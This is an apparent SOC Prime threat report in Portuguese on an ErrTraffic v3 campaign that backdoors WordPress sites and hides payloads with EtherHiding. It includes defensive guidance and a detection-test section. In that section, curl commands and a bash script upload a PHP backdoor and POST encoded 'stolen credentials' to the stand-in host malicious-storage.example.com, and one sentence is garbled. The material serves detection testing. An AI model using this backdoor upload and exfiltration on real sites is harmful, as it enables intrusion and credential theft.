SOC Prime Bias: Médio

16 Abr 2026 15:04

ErrTraffic v3 Utiliza EtherHiding em Campanhas ClickFix

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
ErrTraffic v3 Utiliza EtherHiding em Campanhas ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório descreve uma nova campanha que utiliza a ferramenta ErrTraffic v3 para comprometer sites WordPress instalando uma backdoor de mu-plugin. A backdoor injeta JavaScript ofuscado que recupera cargas adicionais através de uma técnica de EtherHiding baseada em blockchain. A etapa final entrega código malicioso específico do sistema operacional, incluindo uma carga útil do PowerShell criptografada, para os navegadores das vítimas. Erros de segurança operacional, como chaves embutidas, expõem a infraestrutura.

Investigação

LevelBlue SpiderLabs examinou a backdoor do mu-plugin do WordPress, o beacon JavaScript embutido, e o painel de controle ErrTraffic V3. Eles traçaram o uso de chaves XOR estáticas, decodificação Base64, e chamadas de contratos inteligentes para nós Polygon RPC. A análise também identificou a chave de autenticação embutida usada para comunicação API e mapeou a infraestrutura de hospedagem em vários provedores de resistência à prova de balas.

Mitigação

Os defensores devem remover a backdoor do mu-plugin, bloquear TLDs maliciosos conhecidos e faixas de IP, monitorar o uso da chave API embutida, e restringir conexões de saída para endpoints de blockchain RPC. Audite regularmente instalações WordPress em busca de mu-plugins inesperados e valide a integridade dos arquivos. Implante firewalls de aplicação web para detectar os padrões de beaconing do JavaScript.

Resposta

Após a detecção, isole o servidor web afetado, remova os arquivos de backdoor e troque todas as credenciais de administrador. Bloqueie os domínios maliciosos identificados e endpoints RPC no perímetro da rede. Conduza uma revisão forense completa para identificar quaisquer cargas baixadas e monitore a atividade contínua de C2 usando o token API divulgado.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Ação</b> – <b>T1659 Injeção de Conteúdo</b><br/>Explorar site WordPress para enviar mu-plugin malicioso (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Ação</b> – <b>T1671 Integração de Aplicativos em Nuvem</b> / <b>T1525 Implantar Imagem Interna</b><br/>Backdoor instalado como um plugin de uso obrigatório executando em cada requisição"] class step_persistence action step_credential_access["<b>Ação</b> – <b>T1056.003 Captura de Entrada</b><br/>JavaScript injetado captura credenciais de administrador e as envia para o atacante"] class step_credential_access action step_c2["<b>Ação</b> – <b>T1102.003 Serviço Web Comunicação Unidirecional</b><br/>Beacon envia dados do visitante através de navigator.sendBeacon para domínios de atacantes"] class step_c2 action step_obfuscation["<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b><br/>Cargas codificadas com Base64 e XOR, embutidas em scripts inline"] class step_obfuscation action step_smart_contract["<b>Ação</b> – <b>T1059.009 API de Nuvem</b><br/>Script consulta endpoints Polygon RPC e contratos inteligentes (EtherHiding) para URLs"] class step_smart_contract action step_dead_drop["<b>Ação</b> – <b>T1102.001</b><br/>Usa blockchain como depósito morto para configuração de C2"] class step_dead_drop action step_encrypted["<b>Ação</b> – <b>T1573.001 Criptografia Simétrica</b><br/>Tráfego API criptografado com AESu2011GCM ou RC4 usando chave embutida"] class step_encrypted action step_execution["<b>Ação</b> – <b>T1059.001 PowerShell</b><br/>Baixador cria diretório temp, escreve executável e busca carga específica do sistema operacional"] class step_execution action step_priv_esc["<b>Ação</b> – <b>T1546.016 Pacotes de Instalador</b><br/>Script PowerShell registra como pacote de instalador para manter acesso"] class step_priv_esc action %% Connections step_initial_access –>|leva a| step_persistence step_persistence –>|permite| step_credential_access step_credential_access –>|fornece| step_c2 step_c2 –>|usa| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|armazena| step_dead_drop step_dead_drop –>|entrega| step_encrypted step_encrypted –>|suporta| step_execution step_execution –>|permite| step_priv_esc "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Checagem Prévia de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.

  • Narrativa do Ataque & Comandos:
    Um atacante comprometeu uma conta de administrador do WordPress e carrega um arquivo PHP malicioso nomeado session-manager.php na raiz web. O arquivo contém uma seção HTML que parece benigna, terminando com um <script> bloco cujo comentário diz “JavaScript embutido no final da seção”. O script realiza uma extração de dados furtiva para um bucket de armazenamento em nuvem (simulado via um POST curl). Sem uso de POST). No use of navigator.sendBeacon() está presente, mantendo a solicitação dentro da janela de detecção da regra.

    1. Carregar backdoor malicioso:
      curl -u admin:senha -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. Acionar a backdoor (gera a telemetria que aciona a detecção):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    #
    # Simula o upload e a invocação de uma backdoor maliciosa em WordPress
    # que contém a frase exata que a regra Sigma procura.
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="senha"
    
    # 1. Criar a carga PHP maliciosa localmente
    cat > session-manager.php <<'EOF'
    <?php
    // JavaScript embutido no final da seção
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* código malicioso */</script>";
    echo "</body></html>";
    // Stub de exfiltração simples (sem sendBeacon)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('credenciais_roubadas');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. Fazer upload da carga via endpoint de upload assíncrono do WordPress
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] Upload de session-manager.php malicioso completo"
    
    # 3. Invocar a backdoor para gerar tráfego visível pela detecção
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] Backdoor acionada – a telemetria de detecção deve estar visível agora"
    
    # 4. Opcional: pausa para ingestão no SIEM
    sleep 5
  • Comandos de Limpeza:

    # Remova o arquivo malicioso do servidor (requer acesso SSH de administrador)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] Limpeza completa – backdoor removida"